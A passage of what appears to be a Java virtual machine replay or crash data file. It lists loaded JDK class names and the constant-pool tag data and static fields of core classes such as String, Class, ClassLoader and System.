jdk/internal/loader/URLClassPath$Loader\ninstanceKlass jdk/internal/loader/URLClassPath$3\ninstanceKlass java/security/PrivilegedExceptionAction\ninstanceKlass sun/util/locale/InternalLocaleBuilder$CaseInsensitiveChar\ninstanceKlass sun/util/locale/InternalLocaleBuilder\ninstanceKlass sun/util/locale/LocaleUtils\ninstanceKlass sun/util/locale/BaseLocale$Key\ninstanceKlass sun/util/locale/BaseLocale\ninstanceKlass sun/util/locale/LocaleObjectCache\ninstanceKlass java/util/Locale\ninstanceKlass sun/net/util/URLUtil\ninstanceKlass sun/launcher/LauncherHelper\ninstanceKlass jdk/jfr/internal/EventWriter\ninstanceKlass jdk/internal/module/IllegalAccessLogger\ninstanceKlass jdk/internal/module/ModuleBootstrap$2\ninstanceKlass jdk/internal/module/IllegalAccessLogger$Builder\ninstanceKlass java/lang/ModuleLayer$Controller\ninstanceKlass java/util/HashMap$HashIterator\ninstanceKlass jdk/internal/module/ServicesCatalog$ServiceProvider\ninstanceKlass java/util/concurrent/CopyOnWriteArrayList\ninstanceKlass java/util/Collections$UnmodifiableCollection$1\ninstanceKlass java/util/Collections$UnmodifiableCollection\ninstanceKlass java/util/ArrayList$Itr\ninstanceKlass java/util/ImmutableCollections$ListItr\ninstanceKlass java/util/ListIterator\ninstanceKlass java/lang/ModuleLayer\ninstanceKlass jdk/internal/module/ModuleLoaderMap$Mapper\ninstanceKlass java/util/function/Function\ninstanceKlass jdk/internal/module/ModuleLoaderMap\ninstanceKlass java/util/ImmutableCollections$Set12$1\ninstanceKlass java/util/ImmutableCollections$MapN$MapNIterator\ninstanceKlass java/util/AbstractMap$1$1\ninstanceKlass java/lang/module/ResolvedModule\ninstanceKlass java/lang/module/Configuration\ninstanceKlass java/util/ImmutableCollections$SetN$SetNIterator\ninstanceKlass jdk/internal/loader/BuiltinClassLoader$LoadedModule\ninstanceKlass jdk/internal/util/Preconditions\ninstanceKlass java/util/Deque\ninstanceKlass java/util/Queue\ninstanceKlass java/net/URLStreamHandler\ninstanceKlass sun/net/www/ParseUtil\ninstanceKlass java/io/ExpiringCache$Entry\ninstanceKlass java/net/URL$3\ninstanceKlass jdk/internal/misc/JavaNetURLAccess\ninstanceKlass java/net/URL$DefaultFactory\ninstanceKlass java/net/URLStreamHandlerFactory\ninstanceKlass jdk/internal/loader/URLClassPath\ninstanceKlass java/security/Principal\ninstanceKlass java/security/ProtectionDomain$Key\ninstanceKlass java/security/ProtectionDomain$JavaSecurityAccessImpl\ninstanceKlass jdk/internal/misc/JavaSecurityAccess\ninstanceKlass java/lang/ClassLoader$ParallelLoaders\ninstanceKlass jdk/internal/loader/AbstractClassLoaderValue\ninstanceKlass jdk/internal/module/ServicesCatalog\ninstanceKlass jdk/internal/loader/BootLoader\ninstanceKlass java/util/Optional\ninstanceKlass jdk/internal/module/ModuleBootstrap$Counters\ninstanceKlass jdk/internal/module/SystemModuleFinders$SystemModuleFinder\ninstanceKlass java/lang/module/ModuleFinder\ninstanceKlass jdk/internal/module/SystemModuleFinders$3\ninstanceKlass jdk/internal/module/ModuleHashes$HashSupplier\ninstanceKlass java/util/KeyValueHolder\ninstanceKlass jdk/internal/module/SystemModuleFinders$2\ninstanceKlass java/util/function/Supplier\ninstanceKlass java/lang/module/ModuleReference\ninstanceKlass jdk/internal/module/ModuleResolution\ninstanceKlass java/util/Collections$UnmodifiableMap\ninstanceKlass jdk/internal/module/ModuleHashes$Builder\ninstanceKlass jdk/internal/module/ModuleHashes\ninstanceKlass jdk/internal/module/ModuleTarget\ninstanceKlass java/lang/Enum\ninstanceKlass java/lang/module/ModuleDescriptor$Version\ninstanceKlass java/lang/module/ModuleDescriptor$Provides\ninstanceKlass java/lang/module/ModuleDescriptor$Opens\ninstanceKlass java/lang/module/ModuleDescriptor$Exports\ninstanceKlass java/util/ImmutableCollections\ninstanceKlass java/lang/module/ModuleDescriptor$Requires\ninstanceKlass jdk/internal/module/Builder\ninstanceKlass jdk/internal/module/SystemModules$default\ninstanceKlass jdk/internal/module/SystemModules\ninstanceKlass jdk/internal/module/SystemModulesMap\ninstanceKlass java/net/URI$1\ninstanceKlass jdk/internal/misc/JavaNetUriAccess\ninstanceKlass java/net/URI\ninstanceKlass jdk/internal/module/SystemModuleFinders\ninstanceKlass jdk/internal/module/ModulePatcher\ninstanceKlass java/io/ExpiringCache\ninstanceKlass java/io/FileSystem\ninstanceKlass java/io/DefaultFileSystem\ninstanceKlass java/io/File\ninstanceKlass java/lang/module/ModuleDescriptor$1\ninstanceKlass jdk/internal/misc/JavaLangModuleAccess\ninstanceKlass java/lang/module/ModuleDescriptor\ninstanceKlass jdk/internal/module/ModuleBootstrap\ninstanceKlass java/lang/CharacterData\ninstanceKlass sun/security/action/GetPropertyAction\ninstanceKlass java/lang/invoke/MethodHandleStatics\ninstanceKlass java/lang/System$2\ninstanceKlass jdk/internal/misc/JavaLangAccess\ninstanceKlass sun/io/Win32ErrorMode\ninstanceKlass jdk/internal/misc/OSEnvironment\ninstanceKlass java/lang/Integer$IntegerCache\ninstanceKlass jdk/internal/misc/Signal$NativeHandler\ninstanceKlass java/util/Hashtable$Entry\ninstanceKlass jdk/internal/misc/Signal\ninstanceKlass java/lang/Terminator$1\ninstanceKlass jdk/internal/misc/Signal$Handler\ninstanceKlass java/lang/Terminator\ninstanceKlass java/nio/charset/CoderResult\ninstanceKlass java/lang/Readable\ninstanceKlass java/nio/ByteOrder\ninstanceKlass java/nio/Buffer$1\ninstanceKlass jdk/internal/misc/JavaNioAccess\ninstanceKlass java/nio/charset/CharsetEncoder\ninstanceKlass sun/nio/cs/ArrayEncoder\ninstanceKlass java/io/Writer\ninstanceKlass java/io/OutputStream\ninstanceKlass java/io/Flushable\ninstanceKlass java/io/FileDescriptor$1\ninstanceKlass jdk/internal/misc/JavaIOFileDescriptorAccess\ninstanceKlass java/io/FileDescriptor\ninstanceKlass java/lang/VersionProps\ninstanceKlass jdk/internal/util/StaticProperty\ninstanceKlass java/util/concurrent/ConcurrentHashMap$MapEntry\ninstanceKlass java/util/concurrent/ConcurrentHashMap$Traverser\ninstanceKlass java/util/Iterator\ninstanceKlass java/lang/reflect/Array\ninstanceKlass java/util/Collections$SynchronizedCollection\ninstanceKlass java/util/List\ninstanceKlass java/util/RandomAccess\ninstanceKlass java/util/Collections\ninstanceKlass java/util/concurrent/ConcurrentHashMap$CollectionView\ninstanceKlass java/util/Properties$EntrySet\ninstanceKlass java/lang/StringCoding$Result\ninstanceKlass java/nio/charset/CodingErrorAction\ninstanceKlass java/nio/charset/CharsetDecoder\ninstanceKlass sun/nio/cs/ArrayDecoder\ninstanceKlass sun/nio/cs/DelegatableDecoder\ninstanceKlass java/lang/StringUTF16\ninstanceKlass sun/nio/cs/DoubleByte\ninstanceKlass java/lang/StringCoding$StringDecoder\ninstanceKlass java/lang/ThreadLocal$ThreadLocalMap\ninstanceKlass java/lang/StringCoding\ninstanceKlass java/util/HashMap$Node\ninstanceKlass jdk/internal/reflect/Reflection\ninstanceKlass java/lang/Class$1\ninstanceKlass java/lang/reflect/ReflectAccess\ninstanceKlass jdk/internal/reflect/LangReflectAccess\ninstanceKlass java/lang/reflect/Modifier\ninstanceKlass java/lang/Class$Atomic\ninstanceKlass java/lang/Class$ReflectionData\ninstanceKlass java/nio/charset/StandardCharsets\ninstanceKlass sun/nio/cs/HistoricallyNamedCharset\ninstanceKlass java/lang/Math\ninstanceKlass java/util/Arrays\ninstanceKlass java/lang/ThreadLocal\ninstanceKlass java/nio/charset/spi/CharsetProvider\ninstanceKlass java/nio/charset/Charset\ninstanceKlass java/lang/StringLatin1\ninstanceKlass jdk/internal/misc/VM\ninstanceKlass jdk/internal/misc/SharedSecrets\ninstanceKlass java/lang/ref/Reference$1\ninstanceKlass jdk/internal/misc/JavaLangRefAccess\ninstanceKlass java/lang/ref/ReferenceQueue$Lock\ninstanceKlass java/lang/ref/ReferenceQueue\ninstanceKlass jdk/internal/reflect/ReflectionFactory\ninstanceKlass java/util/concurrent/locks/LockSupport\ninstanceKlass java/util/concurrent/ConcurrentHashMap$Node\ninstanceKlass java/util/Map$Entry\ninstanceKlass java/util/concurrent/ConcurrentHashMap$CounterCell\ninstanceKlass java/util/concurrent/locks/ReentrantLock\ninstanceKlass java/util/concurrent/locks/Lock\ninstanceKlass java/lang/Runtime\ninstanceKlass java/util/concurrent/ConcurrentMap\ninstanceKlass java/util/AbstractMap\ninstanceKlass java/security/cert/Certificate\ninstanceKlass jdk/internal/reflect/ReflectionFactory$GetReflectionFactoryAction\ninstanceKlass java/security/PrivilegedAction\ninstanceKlass java/util/Objects\ninstanceKlass java/util/AbstractCollection\ninstanceKlass java/util/Set\ninstanceKlass java/util/Collection\ninstanceKlass java/lang/Iterable\ninstanceKlass java/security/AccessController\ninstanceKlass java/lang/String$CaseInsensitiveComparator\ninstanceKlass java/util/Comparator\ninstanceKlass java/io/ObjectStreamField\ninstanceKlass java/lang/Number\ninstanceKlass java/lang/Character\ninstanceKlass java/lang/Boolean\ninstanceKlass java/util/concurrent/locks/AbstractOwnableSynchronizer\ninstanceKlass java/lang/LiveStackFrame\ninstanceKlass java/lang/StackFrameInfo\ninstanceKlass java/lang/StackWalker$StackFrame\ninstanceKlass java/lang/StackStreamFactory$AbstractStackWalker\ninstanceKlass java/lang/StackWalker\ninstanceKlass java/nio/Buffer\ninstanceKlass java/lang/StackTraceElement\ninstanceKlass java/security/CodeSource\ninstanceKlass jdk/internal/loader/ClassLoaders\ninstanceKlass java/util/jar/Manifest\ninstanceKlass java/net/URL\ninstanceKlass java/io/InputStream\ninstanceKlass java/io/Closeable\ninstanceKlass java/lang/AutoCloseable\ninstanceKlass jdk/internal/module/Modules\ninstanceKlass jdk/internal/misc/Unsafe\ninstanceKlass java/lang/AbstractStringBuilder\ninstanceKlass java/lang/Appendable\ninstanceKlass java/lang/AssertionStatusDirectives\ninstanceKlass java/lang/invoke/MethodHandleNatives$CallSiteContext\ninstanceKlass java/lang/invoke/CallSite\ninstanceKlass java/lang/invoke/MethodType\ninstanceKlass java/lang/invoke/LambdaForm\ninstanceKlass java/lang/invoke/MethodHandleNatives\ninstanceKlass java/lang/invoke/ResolvedMethodName\ninstanceKlass java/lang/invoke/MemberName\ninstanceKlass java/lang/invoke/VarHandle\ninstanceKlass java/lang/invoke/MethodHandle\ninstanceKlass jdk/internal/reflect/CallerSensitive\ninstanceKlass java/lang/annotation/Annotation\ninstanceKlass jdk/internal/reflect/FieldAccessor\ninstanceKlass jdk/internal/reflect/ConstantPool\ninstanceKlass jdk/internal/reflect/ConstructorAccessor\ninstanceKlass jdk/internal/reflect/MethodAccessor\ninstanceKlass jdk/internal/reflect/MagicAccessorImpl\ninstanceKlass java/lang/reflect/Parameter\ninstanceKlass java/lang/reflect/Member\ninstanceKlass java/lang/reflect/AccessibleObject\ninstanceKlass java/lang/Module\ninstanceKlass java/util/Dictionary\ninstanceKlass java/util/Map\ninstanceKlass java/lang/ThreadGroup\ninstanceKlass java/lang/Thread$UncaughtExceptionHandler\ninstanceKlass java/lang/Thread\ninstanceKlass java/lang/Runnable\ninstanceKlass java/lang/ref/Reference\ninstanceKlass java/security/AccessControlContext\ninstanceKlass java/security/ProtectionDomain\ninstanceKlass java/lang/SecurityManager\ninstanceKlass java/lang/Throwable\ninstanceKlass java/lang/System\ninstanceKlass java/lang/ClassLoader\ninstanceKlass java/lang/Cloneable\ninstanceKlass java/lang/Class\ninstanceKlass java/lang/reflect/Type\ninstanceKlass java/lang/reflect/GenericDeclaration\ninstanceKlass java/lang/reflect/AnnotatedElement\ninstanceKlass java/lang/String\ninstanceKlass java/lang/CharSequence\ninstanceKlass java/lang/Comparable\ninstanceKlass java/io/Serializable\nciInstanceKlass java/lang/Object 1 1 92 7 10 10 10 10 8 10 10 10 10 100 8 10 3 8 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 7 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 12 12 7 12 12 1 12 7 12 12 12 1 1 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/io/Serializable 1 0 7 100 100 1 1 1 1\nciInstanceKlass java/lang/String 1 1 876 10 8 9 9 9 10 10 10 9 10 7 10 10 10 10 10 100 8 10 10 9 9 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 100 10 10 11 11 10 10 10 10 10 10 9 11 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 11 10 10 10 10 10 10 100 10 7 10 10 10 10 10 8 10 10 100 3 3 7 10 10 10 10 10 11 7 10 10 7 10 10 10 11 11 11 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 100 10 100 10 10 100 10 10 10 7 10 10 10 10 8 10 10 10 8 8 10 10 10 10 10 10 10 100 10 8 10 10 10 7 3 8 8 8 10 10 10 10 10 10 8 8 10 8 8 8 8 8 10 10 10 8 7 10 10 10 7 9 7 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 7 1 1 1 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 12 12 12 12 12 7 12 1 7 7 12 12 12 12 1 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 7 12 12 12 12 7 12 12 7 12 1 1 12 12 12 1 12 1 1 12 12 12 12 7 12 12 12 1 12 12 7 12 12 12 1 12 7 12 12 12 12 12 12 12 12 12 12 12 1 1 1 12 1 100 12 1 1 12 1 12 12 1 12 12 1 1 12 12 12 100 12 7 12 100 12 1 1 12 12 1 1 1 1 12 12 12 12 1 1 1 1 1 1 1 12 12 12 1 1 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/String COMPACT_STRINGS Z 1\nstaticfield java/lang/String serialPersistentFields [Ljava/io/ObjectStreamField; 0 [Ljava/io/ObjectStreamField;\nstaticfield java/lang/String CASE_INSENSITIVE_ORDER Ljava/util/Comparator; java/lang/String$CaseInsensitiveComparator\nciInstanceKlass java/lang/Class 1 1 1435 10 9 9 7 10 10 8 10 8 8 10 10 10 10 10 10 10 10 10 10 10 8 10 8 8 10 7 8 8 8 10 11 10 10 8 10 10 10 10 9 10 10 10 18 10 7 10 10 10 100 10 9 7 100 8 10 10 10 10 7 10 7 100 10 10 9 10 10 7 10 100 10 10 10 9 10 10 10 9 10 10 100 10 10 10 10 9 8 10 10 10 10 10 10 9 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 10 100 10 100 11 10 10 10 10 10 10 8 10 10 8 9 10 10 10 10 100 9 10 9 10 10 10 8 10 10 10 10 100 10 10 10 10 10 10 10 100 10 10 10 10 10 10 10 10 10 7 10 10 11 10 10 10 10 10 10 100 10 10 10 100 100 10 10 10 10 10 10 10 10 11 10 10 9 10 9 7 10 9 10 7 10 9 10 10 10 10 10 10 10 8 10 10 9 9 10 7 9 10 10 7 10 10 10 10 9 10 9 10 10 9 9 10 10 9 100 10 10 7 10 100 11 9 9 7 10 9 9 10 10 9 7 10 10 10 10 10 10 10 9 10 10 10 10 8 7 10 7 8 8 8 8 10 9 9 10 7 9 7 10 7 10 10 9 8 10 7 10 7 10 9 100 8 10 7 4 10 10 11 10 100 10 10 8 8 10 9 11 7 11 9 10 10 10 9 9 10 10 10 10 10 11 11 11 11 7 11 10 10 7 11 10 10 10 11 11 7 10 10 9 9 10 10 10 10 100 10 10 7 9 100 7 100 100 1 1 1 7 1 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 12 1 12 1 1 12 12 12 12 12 12 7 12 12 12 12 1 12 1 1 12 1 1 1 1 12 12 12 1 7 12 12 12 7 12 7 12 12 7 12 12 1 15 16 15 16 12 7 12 1 12 12 7 1 12 12 1 1 1 12 12 12 12 1 12 1 1 12 12 12 12 1 100 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 1 12 1 12 100 12 12 12 12 12 1 12 12 1 12 12 12 12 12 1 12 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 7 12 12 12 12 100 12 12 12 1 12 12 1 1 12 12 12 12 12 12 100 12 7 12 12 12 12 12 12 1 12 12 1 12 12 100 12 12 12 100 12 12 12 12 1 12 12 12 12 12 1 12 12 12 1 12 12 7 12 7 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 100 12 12 1 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 1 7 1 1 1 1 12 12 12 12 1 12 1 1 1 12 100 12 12 1 12 1 12 12 1 1 1 12 12 12 1 12 1 1 12 12 12 1 12 12 100 12 7 12 12 12 12 12 12 12 12 12 12 12 12 1 12 7 12 12 1 12 100 12 12 12 12 1 12 12 12 7 12 12 7 12 12 12 1 12 12 1 12 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/Class EMPTY_CLASS_ARRAY [Ljava/lang/Class; 0 [Ljava/lang/Class;\nstaticfield java/lang/Class serialPersistentFields [Ljava/io/ObjectStreamField; 0 [Ljava/io/ObjectStreamField;\nciInstanceKlass java/lang/Cloneable 1 0 7 100 100 1 1 1 1\ninstanceKlass org/eclipse/sisu/space/CloningClassSpace$CloningClassLoader\ninstanceKlass jdk/internal/reflect/DelegatingClassLoader\ninstanceKlass java/security/SecureClassLoader\nciInstanceKlass java/lang/ClassLoader 1 1 1189 9 10 9 10 7 10 10 9 10 100 10 10 10 100 8 10 10 10 10 7 10 7 7 7 10 10 9 7 10 9 9 9 9 9 7 10 9 10 10 9 9 7 9 7 10 10 9 10 7 10 8 10 10 10 7 10 10 8 10 10 10 10 10 10 10 10 7 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 100 10 10 10 10 10 100 8 10 8 10 10 100 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 8 11 9 11 10 8 8 10 100 10 10 10 10 10 10 10 10 10 7 10 10 10 7 10 100 18 10 10 10 7 10 10 10 100 10 10 10 10 8 100 10 10 9 10 10 100 8 10 10 8 8 10 10 7 10 10 100 100 10 100 100 10 10 10 10 10 10 9 10 10 10 10 10 8 10 7 18 10 10 10 10 8 10 10 18 11 100 10 10 10 11 10 18 10 11 18 11 10 9 7 10 10 8 10 9 8 10 9 8 7 10 10 100 8 10 10 10 8 8 10 10 10 8 8 10 10 10 7 10 10 10 10 10 11 11 11 11 11 7 10 9 9 9 10 10 100 10 100 10 10 10 9 9 9 9 9 9 8 10 10 10 10 10 11 10 100 10 10 10 7 7 10 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 12 12 12 12 1 12 12 12 1 1 12 7 12 12 1 1 1 12 12 12 1 12 12 12 12 12 1 12 12 12 12 12 12 1 12 1 12 12 12 1 1 12 12 1 12 7 12 1 12 12 12 12 12 12 12 12 1 12 7 12 12 12 12 12 12 12 12 12 100 12 12 12 12 1 12 1 12 7 12 12 12 1 1 1 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 1 1 12 1 12 12 12 12 12 7 12 12 7 1 12 12 1 12 1 1 15 16 15 16 12 100 12 100 12 7 12 1 12 12 12 1 12 12 7 12 12 1 1 12 12 7 12 12 1 1 12 1 1 12 12 1 12 100 12 1 1 12 1 1 12 12 12 12 12 12 100 12 12 12 12 12 12 1 12 1 16 15 16 12 12 12 12 12 1 12 12 16 15 16 12 12 1 12 12 12 15 12 7 12 16 15 16 12 12 12 12 1 12 12 1 12 12 1 12 12 1 1 12 1 1 12 12 1 1 12 12 100 12 1 1 100 12 12 1 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 100 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 1 1 1 1 1 1 1 10 1 1 1 1 1 10 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 12 1 1 100 1 1 100 1 1\nstaticfield java/lang/ClassLoader nocerts [Ljava/security/cert/Certificate; 0 [Ljava/security/cert/Certificate;\nstaticfield java/lang/ClassLoader loadedLibraryNames Ljava/util/Set; java/util/HashSet\nstaticfield java/lang/ClassLoader $assertionsDisabled Z 1\nciInstanceKlass java/lang/System 1 1 622 10 10 10 10 10 9 7 10 11 10 10 10 100 8 10 10 9 100 8 10 8 10 100 10 8 10 10 100 10 10 10 9 9 7 10 10 10 10 10 10 100 100 8 10 10 7 10 100 8 10 8 10 100 8 10 100 10 8 10 10 10 8 10 10 10 100 8 10 10 10 100 18 100 9 10 100 10 10 10 10 10 10 10 10 7 7 10 10 100 10 10 100 8 10 9 9 10 10 10 10 8 10 10 8 10 10 8 10 10 7 9 10 7 9 10 9 7 10 8 10 8 10 10 10 10 10 10 10 10 9 100 8 10 8 10 10 8 100 10 10 10 10 100 10 10 10 10 10 8 10 10 10 10 8 10 10 10 7 10 10 10 9 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 12 12 12 12 12 12 1 7 12 100 12 100 12 12 12 1 1 12 12 12 1 1 12 1 12 1 12 12 12 1 12 100 12 12 12 12 1 12 12 12 12 12 1 1 1 12 12 1 12 1 1 1 12 1 1 1 1 12 12 7 12 1 12 100 12 7 12 1 1 12 100 12 1 1 15 16 15 16 12 1 12 12 1 12 12 7 12 12 12 12 12 12 1 1 12 12 1 12 7 12 1 1 12 12 12 12 12 12 1 12 12 1 12 12 1 7 12 7 12 1 7 12 12 1 12 12 1 12 1 12 1 7 12 12 7 12 12 7 12 12 12 7 12 12 1 1 12 1 12 1 1 12 7 12 12 1 12 12 12 100 12 1 12 12 1 12 12 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 1 1 